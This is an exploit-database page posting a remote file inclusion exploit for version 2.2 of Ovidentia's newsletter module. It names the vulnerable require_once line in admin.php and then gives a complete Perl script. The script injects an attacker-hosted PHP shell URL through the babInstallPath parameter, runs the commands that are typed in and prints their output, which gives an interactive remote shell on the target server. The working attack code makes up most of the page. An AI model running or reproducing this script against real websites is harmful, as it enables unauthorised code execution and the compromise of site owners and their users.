Ovidentia Module newsletter RFI Vulnerability

2015.12.22
Credit: 4TT4CK3R
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

|+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+| |+| Exploit Title : Ovidentia Module newsletter RFI Vulnerability |+| Exploit Author : 4TT4CK3R |+| HomePage : http://www.ovidentia.org |+| Google Dork : No |+| Tested on : Kali Linux , Windows 8.1 |+| Date : 2015/12/21 |+| Version : 2.2 |+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+| |+| |+| Proof-of-Concept: /newsletter-2-2/programs/admin.php line 3 |+| require_once($GLOBALS['babInstallPath'].'admin/acl.php'); |+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+| |+| |+| Exploit : use LWP::UserAgent; $Path = $ARGV[0]; $Pathtocmd = $ARGV[1]; $cmdv = $ARGV[2]; if($Path!~/http:/// || $Pathtocmd!~/http:/// || !$cmdv){usage()} head(); while() { print "[shell] $"; while(<STDIN>) { $cmd=$_; chomp($cmd); $xpl = LWP::UserAgent->new() or die; $req = HTTP::Request->new(GET =>$Path.'programs/admin.php?GLOBALS[babInstallPath]'.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not Connect\n"; $res = $xpl->request($req); $return = $res->content; $return =~ tr/[\n]/[....]/; if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";} elsif ($return =~/failed to open stream: HTTP request failed for this target !!!/ || $return =~/: Cannot execute a blank command in <b>/) {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit} elsif ($return =~/^<br./>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"} if($return =~ /(.*)/) { $finreturn = $1; $finreturn=~ tr/[....]/[\n]/; print "\r\n$finreturn\n\r"; last; } else {print "[shell] $";}}}last; sub head() { print "\n============================================================================\r\n"; print " *Ovidentia Module 2.2 newsletter RFI Vulnerability*\r\n"; print "============================================================================\r\n"; } sub usage() { head(); print " Usage: sploit.pl [someone] [cmd shell location] [cmd shell variable]\r\n\n"; print " <Site> - Full path to phgstats ex: http://www.someone.com/ \r\n"; print " <cmd shell> - Path to cmd Shell e.g http://www.someone/cmd.txt \r\n"; print " <cmd variable> - Command variable used in php shell \r\n"; print "============================================================================\r\n"; print " Vulnerability Discovered by : 4TT4CK3R >>> Just for CyberPolice!! \r\n"; print "============================================================================\r\n"; exit(); } |+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+| |+| Discovered & Exploited by : 4TT4CK3R |+| Just For CyberPolice |+| I LovE IraN AnD AshiYanE SecUritY TeaM |+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+||+|


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top